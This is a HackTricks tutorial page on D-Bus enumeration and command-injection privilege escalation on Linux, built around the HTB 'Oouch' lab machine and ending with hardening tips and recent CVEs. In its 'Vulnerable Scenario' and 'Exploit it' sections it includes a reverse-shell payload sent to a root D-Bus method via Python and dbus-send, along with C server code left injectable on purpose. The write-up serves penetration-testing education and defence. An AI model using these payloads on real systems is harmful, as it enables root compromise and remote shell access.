d-bus-enumeration-and-command-injection-privilege-escalation.md (32397B)
1 --- 2 title: "D-Bus Enumeration & Command Injection Privilege Escalation" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # D-Bus Enumeration & Command Injection Privilege Escalation 14 15 ## **GUI enumeration** 16 17 D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with.<sup>[[1]](#references)</sup> 18 19 Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. 20 21 For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. 22 23 ```bash 24 sudo apt-get install d-feet 25 ``` 26 27 If you are checking the **session bus**, confirm the current address first: 28 29 ```bash 30 echo "$DBUS_SESSION_BUS_ADDRESS" 31 ``` 32 33  34 35  36 37 In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. 38 39 A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. 40 41 **D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. 42 43 However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. 44 45 Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. 46 47 ## **Cmd line Enumeration** 48 49 ### List Service Objects 50 51 It's possible to list opened D-Bus interfaces with: 52 53 ```bash 54 busctl list #List D-Bus interfaces 55 56 NAME PID PROCESS USER CONNECTION UNIT SE 57 :1.0 1 systemd root :1.0 init.scope - 58 :1.1345 12817 busctl qtc :1.1345 session-729.scope 72 59 :1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service - 60 :1.3 2609 dbus-server root :1.3 dbus-server.service - 61 :1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service - 62 :1.6 2612 systemd-logind root :1.6 systemd-logind.service - 63 :1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… - 64 :1.820 6583 systemd qtc :1.820 user@1000.service - 65 com.ubuntu.SoftwareProperties - - - (activatable) - - 66 fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service - 67 fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service - 68 htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service - 69 org.bluez - - - (activatable) - - 70 org.freedesktop.DBus 1 systemd root - init.scope - 71 org.freedesktop.PackageKit - - - (activatable) - - 72 org.freedesktop.PolicyKit1 - - - (activatable) - - 73 org.freedesktop.hostname1 - - - (activatable) - - 74 org.freedesktop.locale1 - - - (activatable) - - 75 ``` 76 77 Services marked as **`(activatable)`** are especially interesting because they are **not running yet**, but a bus request can start them on demand. Do not stop at `busctl list`; map those names to the actual binaries they would execute. 78 79 ```bash 80 ls -la /usr/share/dbus-1/system-services/ /usr/share/dbus-1/services/ 2>/dev/null 81 grep -RInE '^(Name|Exec|User)=' /usr/share/dbus-1/system-services /usr/share/dbus-1/services 2>/dev/null 82 ``` 83 84 That quickly tells you which `Exec=` path will start for an activatable name and under which identity. If the binary or its execution chain is weakly protected, an inactive service can still become a privilege-escalation path. 85 86 #### Connections 87 88 [From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.<sup>[[4]](#references)</sup> 89 90 ### Service Object Info 91 92 Then, you can obtain some information about the interface with: 93 94 ```bash 95 busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface 96 97 PID=2609 98 PPID=1 99 TTY=n/a 100 UID=0 101 EUID=0 102 SUID=0 103 FSUID=0 104 GID=0 105 EGID=0 106 SGID=0 107 FSGID=0 108 SupplementaryGIDs= 109 Comm=dbus-server 110 CommandLine=/root/dbus-server 111 Label=unconfined 112 CGroup=/system.slice/dbus-server.service 113 Unit=dbus-server.service 114 Slice=system.slice 115 UserUnit=n/a 116 UserSlice=n/a 117 Session=n/a 118 AuditLoginUID=n/a 119 AuditSessionID=n/a 120 UniqueName=:1.3 121 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search 122 cap_fowner cap_fsetid cap_kill cap_setgid 123 cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service 124 cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock 125 cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot 126 cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot 127 cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config 128 cap_mknod cap_lease cap_audit_write cap_audit_control 129 cap_setfcap cap_mac_override cap_mac_admin cap_syslog 130 cap_wake_alarm cap_block_suspend cap_audit_read 131 PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search 132 cap_fowner cap_fsetid cap_kill cap_setgid 133 cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service 134 cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock 135 cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot 136 cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot 137 cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config 138 cap_mknod cap_lease cap_audit_write cap_audit_control 139 cap_setfcap cap_mac_override cap_mac_admin cap_syslog 140 cap_wake_alarm cap_block_suspend cap_audit_read 141 InheritableCapabilities= 142 BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search 143 cap_fowner cap_fsetid cap_kill cap_setgid 144 cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service 145 cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock 146 cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot 147 cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot 148 cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config 149 cap_mknod cap_lease cap_audit_write cap_audit_control 150 cap_setfcap cap_mac_override cap_mac_admin cap_syslog 151 cap_wake_alarm cap_block_suspend cap_audit_read 152 ``` 153 154 Also correlate the bus name with its `systemd` unit and executable path: 155 156 ```bash 157 systemctl status dbus-server.service --no-pager 158 systemctl cat dbus-server.service 159 namei -l /root/dbus-server 160 ``` 161 162 This answers the operational question that matters during privesc: **if a method call succeeds, which real binary and unit will perform the action?** 163 164 ### List Interfaces of a Service Object 165 166 You need to have enough permissions. 167 168 ```bash 169 busctl tree htb.oouch.Block #Get Interfaces of the service object 170 171 └─/htb 172 └─/htb/oouch 173 └─/htb/oouch/Block 174 ``` 175 176 ### Introspect Interface of a Service Object 177 178 Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): 179 180 ```bash 181 busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface 182 183 NAME TYPE SIGNATURE RESULT/VALUE FLAGS 184 htb.oouch.Block interface - - - 185 .Block method s s - 186 org.freedesktop.DBus.Introspectable interface - - - 187 .Introspect method - s - 188 org.freedesktop.DBus.Peer interface - - - 189 .GetMachineId method - s - 190 .Ping method - - - 191 org.freedesktop.DBus.Properties interface - - - 192 .Get method ss v - 193 .GetAll method s a{sv} - 194 .Set method ssv - - 195 .PropertiesChanged signal sa{sv}as - - 196 ``` 197 198 Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. 199 200 Before trying anything dangerous, validate a **read-oriented** or otherwise low-risk method first. This separates three cases cleanly: wrong syntax, reachable but denied, or reachable and allowed. 201 202 ```bash 203 busctl call org.freedesktop.login1 /org/freedesktop/login1 org.freedesktop.login1.Manager CanReboot 204 gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot 205 ``` 206 207 ### Correlate D-Bus Methods with Policies and Actions 208 209 Introspection tells you **what** you can call, but it does not tell you **why** a call is allowed or denied. For real privesc triage you usually need to inspect **three layers together**: 210 211 1. **Activation metadata** (`.service` files or `SystemdService=`) to learn which binary and unit will actually run. 212 2. **D-Bus XML policy** (`/etc/dbus-1/system.d/`, `/usr/share/dbus-1/system.d/`) to learn who may `own`, `send_destination`, or `receive_sender`. 213 3. **Polkit action files** (`/usr/share/polkit-1/actions/*.policy`) to learn the default authorization model (`allow_active`, `allow_inactive`, `auth_admin`, `auth_self`, `org.freedesktop.policykit.imply`). 214 215 Useful commands: 216 217 ```bash 218 grep -RInE '^(Name|Exec|SystemdService|User)=' /usr/share/dbus-1/system-services /usr/share/dbus-1/services 2>/dev/null 219 grep -RInE '<(allow|deny) (own|send_destination|receive_sender)=|user=|group=' /etc/dbus-1/system.d /usr/share/dbus-1/system.d /etc/dbus-1/system-local.d 2>/dev/null 220 grep -RInE 'allow_active|allow_inactive|auth_admin|auth_self|org\.freedesktop\.policykit\.imply' /usr/share/polkit-1/actions 2>/dev/null 221 pkaction --verbose 222 ``` 223 224 Do **not** assume a 1:1 mapping between a D-Bus method and a Polkit action. The same method may choose a different action depending on the object being modified or on runtime context. Therefore the practical workflow is: 225 226 1. `busctl introspect` / `gdbus introspect` 227 2. `pkaction --verbose` and grep the relevant `.policy` files 228 3. low-risk live probes with `busctl call`, `gdbus call`, or `dbusmap --enable-probes --null-agent` 229 230 Proxy or compatibility services deserve extra attention. A **root-running proxy** that forwards requests to another D-Bus service over its own pre-established connection can accidentally make the backend treat every request as coming from UID 0 unless the original caller identity is re-validated.<sup>[[3]](#references)</sup> 231 232 ### Monitor/Capture Interface 233 234 With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. 235 236 In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) 237 238 > [!WARNING] 239 > If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! 240 241 Different ways to monitor: 242 243 ```bash 244 sudo busctl monitor htb.oouch.Block #Monitor only specified 245 sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see 246 sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see 247 ``` 248 249 In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: 250 251 ```bash 252 busctl monitor htb.oouch.Block 253 254 Monitoring bus message stream. 255 ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 256 Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block 257 UniqueName=:1.1376 258 MESSAGE "s" { 259 STRING "lalalalal"; 260 }; 261 262 ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 263 Sender=:1.3 Destination=:1.1376 264 UniqueName=:1.3 265 MESSAGE "s" { 266 STRING "Carried out :D"; 267 }; 268 ``` 269 270 You can use `capture` instead of `monitor` to save the results in a **pcapng** file that Wireshark can open: 271 272 ```bash 273 sudo busctl capture htb.oouch.Block > dbus-htb.oouch.Block.pcapng 274 sudo busctl capture > system-bus.pcapng 275 ``` 276 277 #### Filtering all the noise <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a> 278 279 If there is just too much information on the bus, pass a match rule like so: 280 281 ```bash 282 dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" 283 ``` 284 285 Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: 286 287 ```bash 288 dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" 289 ``` 290 291 ```bash 292 dbus-monitor "type=method_call" "type=method_return" "type=error" 293 ``` 294 295 See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax.<sup>[[7]](#references)</sup> 296 297 ### More 298 299 `busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). 300 301 ## **Vulnerable Scenario** 302 303 As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: 304 305 ```xml 306 <?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --> 307 308 <!DOCTYPE busconfig PUBLIC 309 "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" 310 "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> 311 312 <busconfig> 313 314 <policy user="root"> 315 <allow own="htb.oouch.Block"/> 316 </policy> 317 318 <policy user="www-data"> 319 <allow send_destination="htb.oouch.Block"/> 320 <allow receive_sender="htb.oouch.Block"/> 321 </policy> 322 323 </busconfig> 324 ``` 325 326 Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. 327 328 As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: 329 330 ```python 331 if primitive_xss.search(form.textfield.data): 332 bus = dbus.SystemBus() 333 block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') 334 block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') 335 336 client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) 337 response = block_iface.Block(client_ip) 338 bus.close() 339 return render_template('hacker.html', title='Hacker') 340 ``` 341 342 As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". 343 344 In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ 345 **The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` 346 347 ### Exploit it 348 349 At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: 350 351 ```c 352 /* Install the object */ 353 r = sd_bus_add_object_vtable(bus, 354 &slot, 355 "/htb/oouch/Block", /* interface */ 356 "htb.oouch.Block", /* service object */ 357 block_vtable, 358 NULL); 359 ``` 360 361 Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): 362 363 ```c 364 SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), 365 ``` 366 367 #### Python 368 369 The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): 370 371 ```python 372 import dbus 373 bus = dbus.SystemBus() 374 block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') 375 block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') 376 runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" 377 response = block_iface.Block(runme) 378 bus.close() 379 ``` 380 381 #### busctl and dbus-send 382 383 ```bash 384 dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' 385 ``` 386 387 - `dbus-send` is a tool used to send message to “Message Bus” 388 - Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. 389 - “-system” tag is used to mention that it is a system message, not a session message (by default). 390 - “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. 391 - “–dest=Dbus-Interface-Block” The address of the Dbus interface. 392 - “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. 393 394 _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ 395 396 ### C code 397 398 ```c 399 //sudo apt install pkgconf 400 //sudo apt install libsystemd-dev 401 //gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd` 402 403 #include <stdio.h> 404 #include <stdlib.h> 405 #include <string.h> 406 #include <errno.h> 407 #include <unistd.h> 408 #include <systemd/sd-bus.h> 409 410 static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { 411 char* host = NULL; 412 int r; 413 414 /* Read the parameters */ 415 r = sd_bus_message_read(m, "s", &host); 416 if (r < 0) { 417 fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); 418 return r; 419 } 420 421 char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; 422 423 int command_len = strlen(command); 424 int host_len = strlen(host); 425 426 char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); 427 if(command_buffer == NULL) { 428 fprintf(stderr, "Failed to allocate memory\n"); 429 return -1; 430 } 431 432 sprintf(command_buffer, command, host); 433 434 /* In the first implementation, we simply ran command using system(), since the expected DBus 435 * to be threading automatically. However, DBus does not thread and the application will hang 436 * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real 437 * multithreading) 438 */ 439 int pid = fork(); 440 441 if ( pid == 0 ) { 442 /* Here we are in the child process. We execute the command and eventually exit. */ 443 system(command_buffer); 444 exit(0); 445 } else { 446 /* Here we are in the parent process or an error occured. We simply send a genric message. 447 * In the first implementation we returned separate error messages for success or failure. 448 * However, now we cannot wait for results of the system call. Therefore we simply return 449 * a generic. */ 450 return sd_bus_reply_method_return(m, "s", "Carried out :D"); 451 } 452 r = system(command_buffer); 453 } 454 455 456 /* The vtable of our little object, implements the net.poettering.Calculator interface */ 457 static const sd_bus_vtable block_vtable[] = { 458 SD_BUS_VTABLE_START(0), 459 SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), 460 SD_BUS_VTABLE_END 461 }; 462 463 464 int main(int argc, char *argv[]) { 465 /* 466 * Main method, registeres the htb.oouch.Block service on the system dbus. 467 * 468 * Paramaters: 469 * argc (int) Number of arguments, not required 470 * argv[] (char**) Argument array, not required 471 * 472 * Returns: 473 * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive 474 * as long as the user keeps it alive. 475 */ 476 477 478 /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ 479 signal(SIGCHLD,SIG_IGN); 480 481 sd_bus_slot *slot = NULL; 482 sd_bus *bus = NULL; 483 int r; 484 485 /* First we need to connect to the system bus. */ 486 r = sd_bus_open_system(&bus); 487 if (r < 0) 488 { 489 fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); 490 goto finish; 491 } 492 493 /* Install the object */ 494 r = sd_bus_add_object_vtable(bus, 495 &slot, 496 "/htb/oouch/Block", /* interface */ 497 "htb.oouch.Block", /* service object */ 498 block_vtable, 499 NULL); 500 if (r < 0) { 501 fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); 502 goto finish; 503 } 504 505 /* Register the service name to find out object */ 506 r = sd_bus_request_name(bus, "htb.oouch.Block", 0); 507 if (r < 0) { 508 fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); 509 goto finish; 510 } 511 512 /* Infinite loop to process the client requests */ 513 for (;;) { 514 /* Process requests */ 515 r = sd_bus_process(bus, NULL); 516 if (r < 0) { 517 fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); 518 goto finish; 519 } 520 if (r > 0) /* we processed a request, try to process another one, right-away */ 521 continue; 522 523 /* Wait for the next request to process */ 524 r = sd_bus_wait(bus, (uint64_t) -1); 525 if (r < 0) { 526 fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); 527 goto finish; 528 } 529 } 530 531 finish: 532 sd_bus_slot_unref(slot); 533 sd_bus_unref(bus); 534 535 return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; 536 } 537 ``` 538 539 ## Automated Enumeration Helpers (2023-2025) 540 541 Enumeration of a large D-Bus attack surface manually with `busctl`/`gdbus` quickly becomes painful. Two small FOSS utilities released in the last few years can speed things up during red-team or CTF engagements: 542 543 ### dbusmap ("Nmap for D-Bus") 544 * Author: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)<sup>[[5]](#references)</sup> 545 * Written in C; single static binary (<50 kB) that walks every object path, pulls the `Introspect` XML and maps it to the owning PID/UID.<sup>[[5]](#references)</sup> 546 * Useful flags: 547 ```bash 548 # List every service on the *system* bus and dump all callable methods 549 sudo dbus-map --dump-methods 550 551 # Actively probe methods/properties you can reach without Polkit prompts 552 sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties 553 ``` 554 * The tool marks unprotected well-known names with `!`, instantly revealing services you can *own* (take over) or method calls that are reachable from an unprivileged shell. 555 556 ### uptux.py 557 * Author: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)<sup>[[6]](#references)</sup> 558 * Python-only script that looks for *writable* paths in systemd units **and** overly-permissive D-Bus policy files (e.g. `send_destination="*"`).<sup>[[6]](#references)</sup> 559 * Quick usage: 560 ```bash 561 python3 uptux.py -n # run all checks but don’t write a log file 562 python3 uptux.py -d # enable verbose debug output 563 ``` 564 * The D-Bus module searches the directories below and highlights any service that can be spoofed or hijacked by a normal user: 565 * `/etc/dbus-1/system.d/` and `/usr/share/dbus-1/system.d/` 566 * `/etc/dbus-1/system-local.d/` (vendor overrides) 567 568 --- 569 570 ## Notable D-Bus Privilege-Escalation Bugs (2024-2025) 571 572 Keeping an eye on recently published CVEs helps spotting similar insecure patterns in custom code. Two good recent examples are:<sup>[[2]](#references)[[3]](#references)</sup> 573 574 | Year | CVE | Component | Root Cause | Offensive lesson | 575 |------|-----|-----------|------------|------------------| 576 | 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (`logid`) | The root-running service exposed a D-Bus interface that unprivileged users could reconfigure, including loading attacker-controlled macro behavior. | If a daemon exposes **device/profile/config management** on the system bus, treat writable configuration and macro features as code-execution primitives, not just "settings". | 577 | 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.19 | A root-running compatibility proxy forwarded requests to backend services without preserving the original caller's security context, so backends trusted the proxy as UID 0. | Treat **proxy / bridge / compatibility** D-Bus services as a separate bug class: if they relay privileged calls, verify how caller UID/Polkit context reaches the backend. | 578 579 Patterns to notice: 580 1. Service runs **as root on the system bus**. 581 2. Either there is **no authorization check**, or the check is performed against the **wrong subject**. 582 3. The reachable method eventually changes system state: package install, user/group changes, bootloader config, device profile updates, file writes, or direct command execution. 583 584 Use `dbusmap --enable-probes` or manual `busctl call` to confirm whether a method is reachable, then inspect the service's policy XML and Polkit actions to understand **which subject** is actually being authorized. 585 586 --- 587 588 ## Hardening & Detection Quick-Wins 589 590 * Search for world-writable or *send/receive*-open policies: 591 ```bash 592 grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d 593 ``` 594 * Require Polkit for dangerous methods – even *root* proxies should pass the *caller* PID to `polkit_authority_check_authorization_sync()` instead of their own. 595 * Drop privileges in long-running helpers (use `sd_pid_get_owner_uid()` to switch namespaces after connecting to the bus). 596 * If you cannot remove a service, at least *scope* it to a dedicated Unix group and restrict access in its XML policy. 597 * Blue-team: capture the system bus with `busctl capture > /var/log/dbus_$(date +%F).pcapng` and import it into Wireshark for anomaly detection. 598 599 --- 600 601 ## References 602 603 - [1] [USBCreator D-Bus Privilege Escalation in Ubuntu Desktop](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) 604 - [2] [CVE-2024-45752: D-Bus service allows configuration by any unprivileged user](https://github.com/PixlOne/logiops/issues/473) 605 - [3] [dde-api-proxy: Authentication Bypass in Deepin D-Bus Proxy Service (CVE-2025-23222)](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html) 606 - [4] [D-Bus - Wikipedia](https://en.wikipedia.org/wiki/D-Bus) 607 - [5] [taviso/dbusmap - "Nmap for D-Bus"](https://github.com/taviso/dbusmap) 608 - [6] [initstring/uptux](https://github.com/initstring/uptux) 609 - [7] [dbus.freedesktop.org - D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html)